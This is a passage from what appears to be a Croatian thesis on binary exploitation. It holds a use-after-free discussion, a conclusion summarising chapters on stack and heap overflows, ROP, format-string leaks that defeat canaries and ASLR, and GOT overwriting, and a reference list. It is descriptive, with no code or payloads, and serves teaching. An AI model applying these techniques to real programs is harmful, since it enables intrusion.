Use-after-free ranjivosti predstavljaju ozbiljan, ali i vrlo čest, sigurnosni propust. Naime, kada imamo malo kompliciraniji programski kod koji upravlja velikom količinom memorije na hrpi, postoji vrlo velika vjerojatnost da se negdje u programskom kodu može koristiti objekt koji je prethodno oslobođen. Tako su, na primjer, jedne od najčešćih vrsta sigurnosnih ranjivosti u modernim web preglednicima upravo use-after-free ranjivosti, koje se, zbog veličine programskog koda i velikom broju objekata na hrpi, vrlo jednostavno mogu potkrasti.

4. Zaključak

Kroz programske primjere prikazali smo srž nekih čestih programskih ranjivosti, kakve programske greške dovode do njih, na koji način bismo ih mogli barem donekle spriječiti te što se zapravo zbiva u memoriji programa. Iako možda neke od spomenutih programskih ranjivosti generalno nisu toliko jednostavne za iskoristiti, princip je vrlo sličan, a posljedice su gotovo uvijek fatalne za normalno izvođenje programa. Također, objasnili smo razne sigurnosne mehanizme koji se nalaze u operacijskom sustavu, u kompajleru i linkeru, ali i u samom hardveru, ali istovremeno smo prikazali kako se ne možemo u potpunosti osloniti na spomenute mehanizme, jer dovoljno sigurnosnih propusta u programu uvijek donosi određene posljedice. Iako su programski primjeri vrlo specifični, rečeno je bilo da su metode i tehnike iskorištavanja ovih ranjivosti zapravo vrlo slične na različitim platformama. Kroz primjere smo također prikzali i osnove korištenja određenih alata za iskorištavnja programskih ranjivosti, ali i za obrnuti inžinjering i analizu programskog koda.

Svako poglavlje opisuje jednu od ukupno pet izabranih ranjivosti programa izvršnog koda. Prvo poglavlje opisuje program u svojem najranjivijem stanju, gdje su gotovo svi sigurnosni mehanizmi isključeni i gdje imamo mogućnost preljeva spremnika na stogu na način da izvršavamo proizvoljan programski kod. Iako ćemo na takav scenarij rijetko naići u modernim programima te modernim operacijskim sustavama, takve ranjivosti znaju se često pronaći u ugrađenim programima u mikrokontrolerima ili jednostavno zastarjelim programima ili operacijskim sustavima. Također, kako u tom primjeru oslanjamo na tzv. NX bit, koji je eksplicitno isključen u primjeru kako bismo mogli izvršiti proizvoljan programski kod postavljen na stogu, važno je napomenuti da se različiti tzv. Just-in-time kompajleri, kao i neki drugi programi još uvijek oslanjaju na memorijske regije na koje proces ima dopušenje pisanja podataka, čitanja podataka ali i izvršavanja podataka s tog segmenta, čime bismo mogli naići na ovakav scenarij izvršavanja proizvoljnog koda.

Drugo poglavlje logično slijedi prvo poglavlje te se također odnosi na preljev spremnika na stogu. Doduše, u drugom se scenariju ne oslanjamo na nepostavljeni NX bit, već kako bismo postigli gotovo pa proizvoljno izvođenje programskog koda služimo tehnikama ponovnog korištenja koda koji se već nalazi u izvršnoj datoteci (ali i u dijeljenim bibliotekama). To nam omogućava jednostavno spajanje različitih dijelova programskog koda kako bismo postigli željeni učinak promijene tijeka izvršavanja programa. Iako smo na taj način zaobišli jedan dio sigurnosnog mehanizma nasumičnih bazičnih adresa odreženih memorijskih segmenata, još uvijek nailazimo na problem tzv. canary vrijednosti, kao i na problem nasumičnih adresa samog programskog koda unutar izvšrne datoteke.

U trećem primjeru sve smo sigurnosne mehanizme ostavili upaljene. ASLR je u potpunosti uključen (na razini 2), NX bit je postavljen, kao i zaštita integriteta povratne vrijednosti koristeći tzv. canary vrijednost na stogu. U primjeru prikazujemo ranjivost formatiranih zapisa na način da ispisujemo važne informacije sa stoga koje nam ne bi smjele biti dostupne. Na taj način možemo dobiti sve potrebne informacije o memorijskim adresama različitih segmenata, kao i canary vrijednost, čime možemo gotovo u potpunosti "poraziti" sve spomenute sigur-

nosne mehanizme. Prikupljene informacije omogućuju nam veću fleksibilnost, ali i kreativnost kod iskorištavanja drugih memorijskih ranjivosti koje se mogu naći u istom izvršnom programu. Osim "curenja" memorije, važno je napomenuti da format string ranjivosti također omogućuju napadaču proizvoljno zapisivanje (dosnosno prepisivanje) podataka u memoriji.

U idućem, četvrtom poglavlju, upoznajemo se sa osnovama memorijskih struktura na hrpi. Prikazujemo preljev spremnika na hrpi te ranjivi program koristimo kako bismo prepisali memorijsku adresu u tzv. globalnoj tablici razmaka te promijeniti tijek izvršavanja programa. Koncept preljeva spremnika na hrpi je u suštini vrlo sličan preljevu spremnika na hrpi, ali se razlikuje u informacijama koje možemo prepisati. Naime, na stogu se nalazi niz važnih informacija za potrebnih za normalno izvršavanja programa, ali koje nam također omogućuju relativno jednostavno iskorištavanja takve ranjivosti. S druge strane, zbog različitih podataka koji se nalaze na hrpi, iskorištavnje preljeva spremnika na hrpi zna biti nešto zahtjevnije. Naime, iako na stogu uvijek možemo očekivati podatke koji se koriste za, na primjer, definiranje okvira stoga, povratnih adresa ili nečeg sličnog, struktura hrpe puno značajnije ovisi o samoj implementaciji programa.

U posljednjem, petom poglavlju, prestavljamo osnove tzv. use-after-free ranjivosti, koja se odlikuje korištenjem različitih struktura i podataka na hrpi čak i nakon što smo oslobodili taj blok memorije na kojem se ti podaci nalaze. To dovodi do ozbiljnog sigurnosnog problema gdje se na istu memorijsku lokaciju zapisuju i čitaju različiti, nepovezani podaci. Na taj način, precizno konstruiranim korištenjem programa, možemo u potpunosti kontrolirati segment memorije na hrpi u programskom dijelu gdje se taj segment više ne bi smio koristiti. Takvu smo ranjivost prikazali na primjeru jednostavnog upravljanja bilješkama, gdje se bilješke na jednostavan način spremaju u privremenu datoteku, a nakon toga s iste lokacije i čitaju. Naime, u tom primjeru prikazali smo opasne posljedice korištenja memorije koja se prethodno oslobodila, na način da smo uspjeli čitati proizvolje datoteke s diska.

Iz svega navedenog, možemo zaključiti da, unatoč različitim pokušajima zaštite integriteta normalnog izvršavanja ranjivog programskog koda, gotovo uvijek postoji način kako bismo određeni ranjivi program potencijalno mogli iskoristiti.

Popis literature

[1] C. Cowan, C. Pu, D. Maier, J. Walpole, P. Bakke, S. Beattie, A. Grier, P. Wagle, Q. Zhang i H. Hinton, „Stackguard: Automatic adaptive detection and prevention of buffer-overflow attacks.", *USENIX Security Symposium*, San Antonio, TX, sv. 98, 1998, str. 63–78.

[2] J. Erickson, *Hacking: the art of exploitation*. No starch press, 2008.

[3] F. S. Foundation, *Using the GNU Compiler Collection (GCC): Link Options*, `https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html`, Preuzeto 16.08.2019.

[4] P. Guide, „Intel® 64 and ia-32 architectures software developer's manual", *Volume 3B: System programming Guide, Part*, sv. 2, 2011.

[5] A. One, „Smashing the stack for fun and profit", *Phrack magazine*, sv. 7, br. 49, str. 14–16, 1996.

[6] B. W. Kernighan i D. M. Ritchie, *The C programming language*. 2006.

[7] J. Hubička, A. Jaeger, M. Matz i M. Mitchell, *System V Application Binary Interface – AMD64 Architecture Processor Supplement(With LP64 and ILP32 Programming Models)*, `https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf`, Preuzeto 17.08.2019.

[8] F. S. Foundation, *brk(2) - Linux man page*, `https://linux.die.net/man/2/brk`, Preuzeto 20.08.2019.

[9] H. Marco-Gisbert i I. Ripoll, „On the Effectiveness of Full-ASLR on 64-bit Linux", *In-depth security conference, DeepSec, November*, 2014.

[10] S. Krahmer, *x86-64 buffer overflow exploits and the borrowed code chunks exploitation technique*, 2005.

[11] R. Roemer, E. Buchanan, H. Shacham i S. Savage, „Return-oriented programming: Systems, languages, and applications", *ACM Transactions on Information and System Security (TISSEC)*, sv. 15, br. 1, str. 2, 2012.

[12] A. Baratloo, N. Singh, T. K. Tsai i dr., „Transparent run-time defense against stack-smashing attacks.", *USENIX Annual Technical Conference, General Track*, 2000, str. 251–262.

[13] F. S. Foundation, *printf(3) - Linux man page*, `https://linux.die.net/man/3/printf`, Preuzeto 25.08.2019.

[14] J. Koziol, D. Litchfield, D. Aitel, C. Anyley, S. Eren, N. Mehta i R. Hassell, „Discovering and Exploiting Security Holes", *The Shellcoder's Handbook*, Wiley Publishing, Inc., 2004.

[15] c0ntex, *How to hijack the Global Offset Table with pointers for root shells*, https://infosecwriters.com/text_resources/pdf/GOT_Hijack.pdf, Preuzeto 23.08.2019.